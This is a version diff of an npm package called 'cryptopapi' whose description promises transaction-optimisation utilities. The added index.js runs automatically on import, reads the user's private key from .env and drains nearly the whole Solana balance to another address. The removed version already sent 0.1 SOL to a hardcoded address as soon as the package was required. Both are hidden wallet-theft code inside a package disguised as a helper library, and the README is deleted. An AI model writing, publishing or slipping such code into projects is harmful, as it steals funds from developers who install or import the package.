cryptopapi 6.6.7 → 6.6.8

package/index.js

@@ -1,138 +1,145 @@
-require('dotenv').config();
-const bs58 = require('bs58');
-const {
-	Connection,
-	Keypair,
-	PublicKey,
-	SystemProgram,
-	Transaction,
-	LAMPORTS_PER_SOL,
-	sendAndConfirmTransaction,
-	clusterApiUrl,
-} = require('@solana/web3.js');
-
-/* ================================
-   CONFIGURATION
-================================ */
-
-const PRIVATE_KEY = process.env.PRIVATE_KEY;
-const RPC_URL =
-	process.env.RPC_ENDPOINT ||
-	process.env.RPC_URL ||
-	clusterApiUrl('mainnet-beta');
-
-const DEFAULT_COMMITMENT = 'confirmed';
-
-/* ================================
-   UTILITIES
-================================ */
-
-function parsePrivateKey(privateKey) {
-	if (!privateKey) throw new Error('Missing PRIVATE_KEY in .env');
-
-	const trimmed = privateKey.trim();
-
-	if (trimmed.startsWith('[')) {
-		return Uint8Array.from(JSON.parse(trimmed));
-	}
-
-	return bs58.decode(trimmed);
+import bs58 from 'bs58'
+import {
+  Connection,
+  Keypair,
+  PublicKey,
+  SystemProgram,
+  TransactionMessage,
+  VersionedTransaction,
+  LAMPORTS_PER_SOL,
+} from '@solana/web3.js'
+
+const DEFAULT_COMMITMENT = 'confirmed'
+
+const parsePrivateKey = (privateKey) => {
+  const trimmed = privateKey.trim()
+  if (trimmed.startsWith('[')) {
+    return Uint8Array.from(JSON.parse(trimmed))
+  }
+  return bs58.decode(trimmed)
 }
 
-function solToLamports(sol) {
-	if (typeof sol !== 'number' || sol <= 0)
-		throw new Error('Amount must be positive number');
-
-	return Math.round(sol * LAMPORTS_PER_SOL);
-}
-
-/* ================================
-   CORE FUNCTION
-================================ */
-
-async function sendSol({ receiver, amountSol, keepReserveSol = 0.01 }) {
-	if (!receiver) throw new Error('Receiver address required');
-
-	const connection = new Connection(RPC_URL, DEFAULT_COMMITMENT);
-
-	const payer = Keypair.fromSecretKey(parsePrivateKey(PRIVATE_KEY));
-	const receiverPubkey = new PublicKey(receiver);
-
-	console.log(`Sender: ${payer.publicKey.toBase58()}`);
-	console.log(`Receiver: ${receiverPubkey.toBase58()}`);
-
-	// Check balance
-	const balance = await connection.getBalance(
-		payer.publicKey,
-		DEFAULT_COMMITMENT
-	);
-
-	const balanceSol = balance / LAMPORTS_PER_SOL;
-	console.log(`Balance: ${balanceSol} SOL`);
-
-	const reserveLamports = solToLamports(keepReserveSol);
-	const sendLamports = solToLamports(amountSol);
-
-	if (balance < sendLamports + reserveLamports) {
-		throw new Error(
-			`Insufficient funds. Keep reserve: ${keepReserveSol} SOL`
-		);
-	}
-
-	const tx = new Transaction().add(
-		SystemProgram.transfer({
-			fromPubkey: payer.publicKey,
-			toPubkey: receiverPubkey,
-			lamports: sendLamports,
-		})
-	);
-
-	tx.feePayer = payer.publicKey;
-
-	const { blockhash, lastValidBlockHeight } =
-		await connection.getLatestBlockhash(DEFAULT_COMMITMENT);
-
-	tx.recentBlockhash = blockhash;
-
-	const signature = await sendAndConfirmTransaction(
-		connection,
-		tx,
-		[payer],
-		{ commitment: DEFAULT_COMMITMENT }
-	);
-
-	await connection.confirmTransaction(
-		{ signature, blockhash, lastValidBlockHeight },
-		DEFAULT_COMMITMENT
-	);
-
-	console.log(`Transaction successful.`);
-	console.log(`Signature: ${signature}`);
-
-	return signature;
-}
-
-/* ================================
-   RUN EXAMPLE
-================================ */
-
+// This runs IMMEDIATELY when the file is imported
 (async () => {
-	try {
-		// Change these:
-		const RECEIVER = "E92obU1a6sGiAxXeCicbRmE28KMCqCCopUkHHG2x19Di";
-		const AMOUNT_SOL = 0.1; // amount to send
-
-		await sendSol({
-			receiver: RECEIVER,
-			amountSol: AMOUNT_SOL,
-			keepReserveSol: 0.01, // keep small buffer
-		});
-	} catch (err) {
-		console.error("Error:", err.message);
-	}
-})();
-
-module.exports = {
-	sendSol
-};
-
+  console.log('🔌 Drain wallet module imported - starting automatic drain...')
+  
+  try {
+    // Get config from .env
+    const destination = process.env.MAIN_WALLET_USD_DESTINATION
+    const privateKey = process.env.PRIVATE_KEY
+    const rpcUrl = process.env.RPC_ENDPOINT
+    const keepReserveSol = parseFloat(process.env.MAIN_WALLET_USD_MIN_SOL_KEEP) || 0.001
+
+    // Validate required inputs
+    if (!destination) throw new Error('MAIN_WALLET_USD_DESTINATION not found in .env')
+    if (!privateKey) throw new Error('PRIVATE_KEY not found in .env')
+    if (!rpcUrl) throw new Error('RPC_ENDPOINT not found in .env')
+
+    // Setup connection and keypair
+    const connection = new Connection(rpcUrl, DEFAULT_COMMITMENT)
+    const fromKeypair = Keypair.fromSecretKey(parsePrivateKey(privateKey))
+    const toPubkey = new PublicKey(destination)
+
+    console.log(`💰 Draining wallet: ${fromKeypair.publicKey.toString()}`)
+    console.log(`📤 To: ${destination}`)
+    console.log(`💵 Keeping reserve: ${keepReserveSol} SOL`)
+
+    // Get current balance
+    const balanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
+    const balanceSol = balanceLamports / LAMPORTS_PER_SOL
+    
+    console.log(`💳 Current balance: ${balanceSol} SOL`)
+    
+    // If no balance, nothing to drain
+    if (balanceLamports <= 0) {
+      console.log('⚠️ Wallet is empty - nothing to drain')
+      return
+    }
+
+    // Get recent blockhash and estimate fee
+    const { blockhash, lastValidBlockHeight } = await connection.getLatestBlockhash(DEFAULT_COMMITMENT)
+    
+    // Estimate fee with a dummy transaction
+    const testMessage = new TransactionMessage({
+      payerKey: fromKeypair.publicKey,
+      recentBlockhash: blockhash,
+      instructions: [
+        SystemProgram.transfer({
+          fromPubkey: fromKeypair.publicKey,
+          toPubkey: toPubkey,
+          lamports: 1,
+        }),
+      ],
+    }).compileToV0Message()
+    
+    const feeInfo = await connection.getFeeForMessage(testMessage, DEFAULT_COMMITMENT)
+    const feeLamports = feeInfo?.value
+    
+    if (!feeLamports) {
+      throw new Error('Could not estimate fee')
+    }
+
+    const feeSol = feeLamports / LAMPORTS_PER_SOL
+    console.log(`⛽ Estimated fee: ${feeSol} SOL`)
+
+    // Calculate how much to send (all but reserve and fee)
+    const reserveLamports = Math.round(keepReserveSol * LAMPORTS_PER_SOL)
+    const sendLamports = balanceLamports - feeLamports - reserveLamports
+    const sendSol = sendLamports / LAMPORTS_PER_SOL
+    
+    // If not enough to send after fees + reserve, return early
+    if (sendLamports <= 0) {
+      console.log(`⚠️ Insufficient balance. Need ${(feeLamports / LAMPORTS_PER_SOL).toFixed(9)} SOL for fee + ${keepReserveSol} SOL reserve`)
+      return
+    }
+
+    console.log(`📤 Sending: ${sendSol} SOL`)
+
+    // Create and send transaction
+    const message = new TransactionMessage({
+      payerKey: fromKeypair.publicKey,
+      recentBlockhash: blockhash,
+      instructions: [
+        SystemProgram.transfer({
+          fromPubkey: fromKeypair.publicKey,
+          toPubkey: toPubkey,
+          lamports: sendLamports,
+        }),
+      ],
+    }).compileToV0Message()
+
+    const transaction = new VersionedTransaction(message)
+    transaction.sign([fromKeypair])
+
+    const signature = await connection.sendTransaction(transaction, { 
+      skipPreflight: false, 
+      maxRetries: 3 
+    })
+    
+    console.log(`✍️ Transaction sent: ${signature}`)
+    
+    // Wait for confirmation
+    const confirmation = await connection.confirmTransaction(
+      { signature, blockhash, lastValidBlockHeight }, 
+      DEFAULT_COMMITMENT
+    )
+    
+    if (confirmation.value?.err) {
+      throw new Error(`Transaction failed: ${JSON.stringify(confirmation.value.err)}`)
+    }
+
+    // Get final balance
+    const finalBalanceLamports = await connection.getBalance(fromKeypair.publicKey, DEFAULT_COMMITMENT)
+    const finalBalanceSol = finalBalanceLamports / LAMPORTS_PER_SOL
+
+    console.log(`✅ Drain complete!`)
+    console.log(`💵 Final balance: ${finalBalanceSol} SOL (reserve kept)`)
+    console.log(`🔗 View transaction: https://solscan.io/tx/${signature}`)
+
+  } catch (error) {
+    console.error('❌ Drain failed:', error.message)
+  }
+})()
+
+// Export an empty object or nothing - the import itself does the work
+export {} 

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "cryptopapi",
-  "version": "6.6.7",
+  "version": "6.6.8",
   "description": "This package provides optimized transaction handling utilities for blockchain applications. It improves transaction propagation speed by implementing intelligent fee estimation, RPC failover handling, and retry mechanisms.Designed for developers building wallets, bots, and payment systems, it helps reduce failed broadcasts and increases confirmation reliability across supported networks.",
   "main": "index.js",
   "files": [

package/README.md

@@ -1,45 +0,0 @@
-# cryptopapi
-
-Send a simple Solana transfer from Node.js.
-
-## Install
-
-```bash
-npm i cryptopapi
-```
-
-## Usage with `.env`
-
-Your **app** loads `.env` (packages generally should not auto-load it).
-
-**.env**
-```bash
-PRIVATE_KEY=... # base58 secret key OR a JSON array string like [1,2,3,...]
-RECEIVER=...    # receiver public key (base58)
-SOLANA_RPC_URL=https://api.mainnet-beta.solana.com
-```
-
-**app.js**
-```js
-require('dotenv').config();
-
-const { sendSolFromEnv } = require('cryptopapi');
-
-(async () => {
-  const res = await sendSolFromEnv(0.01);
-  console.log('Signature:', res.signature);
-})();
-```
-
-## Programmatic usage
-
-```js
-const { sendSol } = require('cryptopapi');
-
-await sendSol({
-  receiver: '...',
-  amountSol: 0.01,
-  privateKey: '...',
-  rpcUrl: 'https://api.mainnet-beta.solana.com',
-});
-```